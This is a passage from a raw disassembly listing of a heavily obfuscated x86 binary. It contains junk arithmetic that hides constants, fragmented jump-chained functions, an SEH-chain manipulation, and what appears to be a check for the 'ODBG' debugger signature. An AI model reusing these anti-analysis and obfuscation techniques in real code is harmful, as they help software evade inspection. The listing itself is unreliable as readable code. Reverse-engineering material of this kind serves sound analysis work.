CODE XREF: sub_428176+3FCj jmp loc_4262DD ; END OF FUNCTION CHUNK FOR sub_428176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_42ADB0: ; CODE XREF: sub_42D03E-62C1j jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42ADB5: ; CODE XREF: sub_42326C:loc_42D28Bj jl loc_4247A7 loc_42ADBB: ; CODE XREF: _0182ofla:0042E771j jmp loc_42B6EB ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- rol edx, 2 xchg ebx, [edx] jmp loc_42B80B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42ADCA: ; CODE XREF: sub_42E5F8:loc_42E858j not ebp pop ebp jmp loc_42A729 ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B3C2 loc_42ADD2: ; CODE XREF: sub_42B3C2-8008j ; DATA XREF: sub_42D056-1CA8o pop dword ptr fs:0 xchg eax, [esp-4+arg_0] pop eax loc_42ADDC: ; CODE XREF: _0182ofla:loc_426058j push ebx push ecx jmp loc_426940 ; END OF FUNCTION CHUNK FOR sub_42B3C2 ; =============== S U B R O U T I N E ======================================= sub_42ADE3 proc near ; CODE XREF: sub_42D8EA-1334p ; FUNCTION CHUNK AT 0042D49A SIZE 00000017 BYTES mov [esp+0], eax pop eax add eax, ebp call sub_424950 loc_42ADEE: ; CODE XREF: _0182ofla:0042AF24j jmp loc_42D49A sub_42ADE3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAD2 loc_42ADF3: ; CODE XREF: sub_42AAD2+9j jmp loc_427405 ; END OF FUNCTION CHUNK FOR sub_42AAD2 ; --------------------------------------------------------------------------- add ecx, edi jmp loc_42A436 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAFE loc_42ADFF: ; CODE XREF: sub_42EAFE:loc_42EB0Ej push 75E15426h pop esi add esi, 8A618BADh popf xchg esi, [esp-4+arg_0] jmp loc_42C6D6 ; END OF FUNCTION CHUNK FOR sub_42EAFE ; =============== S U B R O U T I N E ======================================= sub_42AE14 proc near ; DATA XREF: _0182ofla:loc_427023o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042E933 SIZE 00000005 BYTES push eax pushf push 79E72C9Ah pop eax add eax, 865B61D4h popf xchg eax, [esp+4+var_4] jmp loc_42E933 sub_42AE14 endp ; --------------------------------------------------------------------------- loc_42AE2B: ; DATA XREF: sub_425AE5:loc_425AF6o jz loc_42D4C0 ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42AE31: ; CODE XREF: sub_425BF8-27AAj ; sub_425BF8-4D6j ... jz loc_42ED73 or eax, eax jz loc_42D4BE cmp eax, 0FFFFFFFFh jz loc_42D4BE mov eax, [eax] jmp loc_42550D ; END OF FUNCTION CHUNK FOR sub_425BF8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B500 loc_42AE50: ; CODE XREF: sub_42B500+Cj jmp loc_42A237 ; END OF FUNCTION CHUNK FOR sub_42B500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42AE55: ; CODE XREF: sub_42537E+397Cj jmp nullsub_239 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DE2 loc_42AE5A: ; CODE XREF: sub_424DE2+8j jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_424DE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42AE5F: ; CODE XREF: sub_42AAF8-692Cj cdq shl esi, 17h add esi, 31C3ABFAh jz loc_42E5D3 loc_42AE6F: ; CODE XREF: sub_42DD2A:loc_4286C2j jmp loc_424549 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42AE74: ; CODE XREF: sub_427259+518Ej rol eax, 3 xchg eax, ebx push ebx xchg eax, ebx call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_427259 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AE82 proc near ; DATA XREF: _0182ofla:0042689Fo ; sub_42D056+DCCo push ebp mov ebp, esp jmp sub_424BCB sub_42AE82 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42AE8A: ; CODE XREF: sub_428729-5113j ; sub_428729:loc_42C57Fj push 57CB4B26h pop eax xor eax, 29C49845h add eax, ebp jmp loc_42CEEB ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_42AE9D: ; CODE XREF: sub_423AF2+2B15j ; sub_423AF2:loc_42B791j or ebx, ds:4000F5h add ebx, 518443D2h xchg ebx, [esp+0] jmp sub_428F46 ; END OF FUNCTION CHUNK FOR sub_423AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42AEB1: ; CODE XREF: sub_42B15E:loc_429F99j mov dword ptr [ecx], offset loc_4278F2 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_42AEBB: ; CODE XREF: _0182ofla:loc_42CD3Fj pop ebx pop ecx pop ebp jmp loc_4283D7 ; --------------------------------------------------------------------------- loc_42AEC3: ; CODE XREF: _0182ofla:loc_426F6Dj or ecx, edx push 229FE4ADh pop edx or edx, 7F937343h add edx, 0C237722Eh jmp loc_424BB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CD0 loc_42AEDC: ; CODE XREF: sub_427CD0:loc_42CB80j sub eax, 0FF86BA4Bh push offset sub_42A092 jmp loc_4272B9 ; END OF FUNCTION CHUNK FOR sub_427CD0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42AEED: ; CODE XREF: sub_42798F+725Cj jmp loc_42C5C5 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CEA4 loc_42AEF2: ; CODE XREF: sub_42CEA4+Dj jmp loc_428C35 ; END OF FUNCTION CHUNK FOR sub_42CEA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_42AEF7: ; CODE XREF: sub_425C89+1C38j jmp loc_42A1CE ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_42AEFC: ; CODE XREF: sub_426020+1F3Cj ; sub_426020:loc_42CEFDj push edi push 2D2E1B1Fh pop edi rol edi, 13h cmp edi, 5C5E1F65h jmp loc_4268B9 ; END OF FUNCTION CHUNK FOR sub_426020 ; --------------------------------------------------------------------------- xchg esi, [esp] mov edx, esi pop esi push eax push 0B152008Dh pop edx xor edx, 4EADFF72h jmp loc_42ADEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42AF29: ; CODE XREF: sub_428D63+29FFj mov esi, 96368028h loc_42AF2E: ; CODE XREF: sub_428D63:loc_424FF5j lea eax, [ebp-2AAh] cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_424025 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAD2 loc_42AF45: ; CODE XREF: sub_42AAD2-36C8j call sub_424CD8 mov esp, ebp pop ebp call sub_4243F2 loc_42AF52: ; CODE XREF: sub_42B640+9j jmp sub_425D9A ; END OF FUNCTION CHUNK FOR sub_42AAD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427906 loc_42AF57: ; CODE XREF: sub_427906:loc_427916j jmp loc_42DB49 ; END OF FUNCTION CHUNK FOR sub_427906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425AB1 loc_42AF5C: ; CODE XREF: sub_425AB1-1D5Dj jmp loc_4284F0 ; END OF FUNCTION CHUNK FOR sub_425AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_42AF61: ; CODE XREF: sub_42DF41-8A4Fj ; sub_42DF41:loc_425B5Bj call sub_4247FE mov edx, 87C4571Ah call sub_42D71D xchg eax, ebp push ebp xchg eax, ebp ror eax, 1Bh mov ds:dword_42D104, eax jmp loc_42C372 ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423726 loc_42AF83: ; CODE XREF: sub_423726+1Dj add edi, ecx add edi, 0DBCF1B80h mov [edi], eax pop edi jmp loc_427078 ; END OF FUNCTION CHUNK FOR sub_423726 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42AF93: ; CODE XREF: sub_42D056-4744j add eax, 7D0h jmp loc_428428 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42AF9D: ; CODE XREF: sub_425B00+77C4j pop ecx mov [ebp-20h], eax loc_42AFA1: ; CODE XREF: sub_425B00+12AFj ; sub_425B00:loc_428A5Aj ... jnz loc_429096 test byte ptr [ebp-8], 40h jz loc_42A779 push ebp mov eax, [ebp-20h] jmp loc_42D073 ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= sub_42AFBA proc near ; DATA XREF: sub_42D591+3o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_42B8F8[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz loc_42A9B2 jmp loc_42D607 sub_42AFBA endp ; --------------------------------------------------------------------------- locret_42AFD9: ; CODE XREF: _0182ofla:00424655j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42AFDA: ; CODE XREF: sub_42C553:loc_42DDE9j jmp loc_42CC43 ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42AFDF: ; CODE XREF: sub_42798F+3E37j jmp loc_42A22E ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42AFE4: ; CODE XREF: _0182ofla:loc_4285E4j shr edx, 3 mov ecx, ds:dword_423190 jz loc_42B5EA or [ecx+edx], al mov eax, [ebp-0Ch] push eax jmp loc_42ECC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42AFFF: ; CODE XREF: sub_423395+1CE7j sub eax, 0C0113AEAh xor eax, 0EA968B14h add eax, ebp add eax, 95098D03h mov dword ptr [eax], 70736957h push 17AA6FB4h pop eax rol eax, 0Ch jmp loc_42B103 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- loc_42B027: ; CODE XREF: _0182ofla:0042C5D5j adc ebx, 0AD476FE6h loc_42B02D: ; CODE XREF: _0182ofla:loc_426144j or edx, 36DA7FC3h add edx, 0B3DE1A2Eh call sub_42D71D call sub_429242 jmp loc_42D0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E4D loc_42B048: ; CODE XREF: sub_425E4D:loc_425164j mov eax, ds:dword_42D110 push offset sub_42E689 jmp loc_423846 ; END OF FUNCTION CHUNK FOR sub_425E4D ; --------------------------------------------------------------------------- sbb ecx, 0BA04DE37h jmp loc_42E662 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_42B063: ; CODE XREF: sub_428041:loc_424025j jnz loc_42A0CF jmp loc_4231B8 ; END OF FUNCTION CHUNK FOR sub_428041 ; --------------------------------------------------------------------------- call sub_427967 ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_42B073: ; CODE XREF: sub_42AB3E-1700j jmp loc_423490 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426561 loc_42B078: ; CODE XREF: sub_426561+Bj jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_426561 ; =============== S U B R O U T I N E ======================================= sub_42B07D proc near ; DATA XREF: _0182ofla:0042746Fo mov ds:dword_42A398, eax call sub_428D17 mov edx, 0A2CD59D9h call sub_42B097 mov ds:dword_42B8EC, eax retn sub_42B07D endp ; =============== S U B R O U T I N E ======================================= sub_42B097 proc near ; CODE XREF: _0182ofla:loc_423E32p ; sub_42AAE0-36E5p ... ; FUNCTION CHUNK AT 0042C964 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CAB7 SIZE 00000012 BYTES push ebp jmp loc_42C964 sub_42B097 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42B09D: ; CODE XREF: sub_42380D-4A1j ; _0182ofla:0042DD99j mov eax, [ebp-0Ch] cmp eax, [ebp-14h] jb loc_425ECF ; END OF FUNCTION CHUNK FOR sub_42380D ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_42B0A9: ; CODE XREF: sub_42CA29:loc_426DF4j mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_427A60 jmp loc_428D8D ; END OF FUNCTION CHUNK FOR sub_42CA29 ; =============== S U B R O U T I N E ======================================= sub_42B0C0 proc near ; DATA XREF: sub_423FCD+867Fo push 0FFFFFFFFh push 0 call sub_425153 sub_42B0C0 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42D33D loc_42B0C9: ; CODE XREF: sub_42D33D+60Ej jmp loc_426A43 ; END OF FUNCTION CHUNK FOR sub_42D33D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DC3 loc_42B0CE: ; CODE XREF: sub_426DC3+8j jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_426DC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42B0D3: ; CODE XREF: sub_429E52:loc_42546Cj xchg esi, [edi] jnz nullsub_81 add ebp, 5E22824Ah jmp loc_429568 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- loc_42B0E6: ; DATA XREF: sub_4230AC+Co push eax mov eax, [ebp-8] push eax call sub_42E218 cmp dword ptr [ebp-0Ch], 0 jz loc_42A9F2 mov eax, [ebp-0Ch] push eax jmp loc_42936B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42B103: ; CODE XREF: sub_423395+7C8Dj add eax, 4173FACFh add eax, ebp push offset loc_423C70 jmp loc_42B4E9 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42B115: ; CODE XREF: sub_428D63+46ECj ; sub_428D63:loc_42DB66j lea eax, [ebp-26Fh] cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_42E189 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D52E loc_42B12C: ; CODE XREF: sub_42D52E-7B34j mov ecx, esp add ecx, 10h mov ecx, [ecx] ; END OF FUNCTION CHUNK FOR sub_42D52E ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42B136: ; CODE XREF: sub_42B669+2256j mov dword ptr [ecx], 10013h add ecx, 18h jmp loc_424985 ; END OF FUNCTION CHUNK FOR sub_42B669 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B91 loc_42B148: ; CODE XREF: sub_428B91+10j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_428B91 ; =============== S U B R O U T I N E ======================================= sub_42B14D proc near ; CODE XREF: sub_423057+5p ; sub_42AAF8-65A7p ... ; FUNCTION CHUNK AT 0042E5C9 SIZE 00000005 BYTES push ebp push offset loc_42A273 jmp loc_42E5C9 sub_42B14D endp ; --------------------------------------------------------------------------- locret_42B158: ; CODE XREF: _0182ofla:loc_428515j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_42B159: ; CODE XREF: sub_429242+5008j jmp loc_424239 ; END OF FUNCTION CHUNK FOR sub_429242 ; =============== S U B R O U T I N E ======================================= sub_42B15E proc near ; CODE XREF: sub_42798F+206Bp ; _0182ofla:0042E922j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423018 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004233BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00423533 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004237BA SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00423823 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423D6A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00423DDD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042405E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042437E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424C4D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00425C11 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426E04 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00427245 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042749B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428BDA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428FBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004290D4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429770 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00429F99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AEB1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B6D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D16E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042D3A9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D68A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042DCD8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DEF5 SIZE 00000005 BYTES mov [esp+0], esi pop esi cmp eax, ds:dword_425790 jz loc_42A7D0 mov eax, [ebp-0Ch] mov ds:dword_425790, eax push 0BFB5CEC1h jmp loc_4237BA sub_42B15E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42B180: ; CODE XREF: _0182ofla:004297A0j adc ebx, eax ; =============== S U B R O U T I N E ======================================= sub_42B182 proc near ; CODE XREF: _0182ofla:004257EEp mov [esp+0], esi pop esi add ecx, 6911D4B4h add ecx, ebp call sub_42A2FA sub_42B182 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42B193: ; CODE XREF: sub_4298DD-4CA7j push 0D0101216h sub edi, eax sub ebp, 228DEF5Eh ror edi, 0Eh jmp loc_42676A ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_42B1A8: ; DATA XREF: sub_425126+6o pop ebp push edx push 2529B16Bh xchg ebp, [esp] mov edx, ebp pop ebp jmp loc_428121 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42B1BA: ; CODE XREF: sub_42D833-54D9j cmp esi, edi jmp loc_42D8CA ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B1C1: ; CODE XREF: sub_42798F+2Fj jnz loc_42C36D jmp loc_423286 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_42B1CC: ; CODE XREF: _0182ofla:0042C18Cj mov esi, 0D6C933C0h jmp loc_4237E2 ; --------------------------------------------------------------------------- loc_42B1D6: ; DATA XREF: _0182ofla:loc_42A31Co sub edx, eax loc_42B1D8: ; CODE XREF: _0182ofla:loc_42CD94j call sub_428C7D ; START OF FUNCTION CHUNK FOR sub_423861 loc_42B1DD: ; CODE XREF: sub_423861+6014j jmp nullsub_161 ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- loc_42B1E2: ; CODE XREF: _0182ofla:00428DECj pop edx call sub_423077 ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42B1E8: ; CODE XREF: sub_428F20:loc_42B2AFj ja loc_42AB86 jmp loc_42356F ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- loc_42B1F3: ; CODE XREF: _0182ofla:0042CD6Dj js loc_423B7B ; =============== S U B R O U T I N E ======================================= sub_42B1F9 proc near ; CODE XREF: _0182ofla:loc_425D09p ; FUNCTION CHUNK AT 00423E69 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424048 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424152 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424528 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425440 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004270D4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428473 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004290EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A2BE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A4E6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B26F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042E0C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E54F SIZE 00000008 BYTES mov [esp+0], ecx loc_42B1FC: ; CODE XREF: _0182ofla:loc_429057j pop ecx call sub_423FCD jmp loc_428473 sub_42B1F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pushf jmp sub_427E81 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42B20E: ; CODE XREF: _0182ofla:00426514j jmp loc_426E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C415 loc_42B213: ; CODE XREF: sub_42C415-6EBEj jmp loc_4260BD ; END OF FUNCTION CHUNK FOR sub_42C415 ; --------------------------------------------------------------------------- loc_42B218: ; CODE XREF: _0182ofla:00428594j xor eax, 0FC4F34D2h call sub_429AC6 ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_42B223: ; CODE XREF: sub_4265C0+5E7Dj jmp loc_423786 ; END OF FUNCTION CHUNK FOR sub_4265C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B43 loc_42B228: ; CODE XREF: sub_423B43+6287j jmp loc_42CFF1 ; END OF FUNCTION CHUNK FOR sub_423B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4233EC loc_42B22D: ; CODE XREF: sub_4233EC+7j pushf push offset loc_42C155 jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_4233EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5EF loc_42B238: ; CODE XREF: sub_42D5EF+13j pop esi add esi, 0D7D6961Dh sub esi, 0C49C0FE6h add esi, 3BDAAA8Fh xchg esi, [esp+0] jmp loc_428799 ; END OF FUNCTION CHUNK FOR sub_42D5EF ; --------------------------------------------------------------------------- push offset loc_424FE6 jmp loc_4246B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42B25D: ; CODE XREF: sub_425DA5+372Bj add esi, ecx jmp loc_42B56F ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B264: ; CODE XREF: sub_42798F:loc_42EC62j jz loc_423322 jmp loc_427A97 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_42B26F: ; CODE XREF: sub_42B1F9:loc_424152j ; _0182ofla:0042C3B0j jnb loc_423E69 push eax push 58AF6BE1h pop eax or eax, 58F3EFD3h add eax, 0A74263F4h jmp loc_42E54F ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E668 loc_42B28E: ; CODE XREF: sub_42E668+9j jmp loc_42333E ; END OF FUNCTION CHUNK FOR sub_42E668 ; --------------------------------------------------------------------------- loc_42B293: ; CODE XREF: _0182ofla:0042AC9Ej jmp loc_42A840 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F4 loc_42B298: ; CODE XREF: sub_4272F4+9j jmp loc_42CE0F ; END OF FUNCTION CHUNK FOR sub_4272F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jno loc_425980 jmp sub_4232CD ; --------------------------------------------------------------------------- locret_42B2A9: ; CODE XREF: _0182ofla:00428006j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E32 loc_42B2AA: ; CODE XREF: sub_427E32+Bj jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_427E32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42B2AF: ; CODE XREF: sub_428F20-5B90j jmp loc_42B1E8 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4243D3 loc_42B2B4: ; CODE XREF: sub_4243D3+9ECCj mov [ecx], ebp ; END OF FUNCTION CHUNK FOR sub_4243D3 ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42B2B6: ; CODE XREF: sub_4253F4+4645j mov esi, ecx jmp loc_426C26 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42B2BD: ; CODE XREF: sub_4298DD+301Cj add eax, 0B11CC89Ch test eax, 10h jmp loc_423167 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C7FE loc_42B2CE: ; CODE XREF: sub_42C7FE:loc_428F09j push eax push offset sub_4231D5 jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_42C7FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42B2D9: ; CODE XREF: sub_4253F4:loc_42E075j xor esi, 5CF68FF1h add esi, ebp add esi, 77769FBBh mov [esi], eax jmp loc_42838F ; END OF FUNCTION CHUNK FOR sub_4253F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D430 loc_42B2EF: ; CODE XREF: sub_42D430+7j jmp loc_426985 ; END OF FUNCTION CHUNK FOR sub_42D430 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1DA loc_42B2F5: ; CODE XREF: sub_42E1DA-5F9Aj jmp loc_42DF17 ; END OF FUNCTION CHUNK FOR sub_42E1DA ; --------------------------------------------------------------------------- loc_42B2FA: ; CODE XREF: _0182ofla:00424EADj jmp locret_42986F ; --------------------------------------------------------------------------- loc_42B2FF: ; CODE XREF: _0182ofla:00425CF4j adc ecx, 0D13F0E41h ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42B305: ; CODE XREF: sub_42D9A4:loc_425CDCj xor eax, 0DA7377F4h add eax, 0D3BBA925h mov eax, [eax] or eax, eax jmp loc_429798 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- test ecx, eax jmp loc_42A758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42B321: ; CODE XREF: sub_42C379:loc_42B739j mov esp, ebp pop ebp mov eax, ds:dword_4231B0 or eax, eax jmp loc_42AC7A ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E6A loc_42B331: ; CODE XREF: sub_426E6A+5j push 57352E00h pop edi add edi, 9B42E737h rol edi, 13h loc_42B340: ; CODE XREF: _0182ofla:00425321j add edi, 5682EB50h jmp loc_42E4FB ; END OF FUNCTION CHUNK FOR sub_426E6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42B34B: ; CODE XREF: sub_428D63+CE9j jno loc_429B1E shl eax, 14h jmp loc_42A0CF ; --------------------------------------------------------------------------- loc_42B359: ; CODE XREF: sub_428D63:loc_428B5Ej cmp dword ptr [ebp-4], 1 jnz loc_42A0CF jmp loc_42D108 ; END OF FUNCTION CHUNK FOR sub_428D63 ; 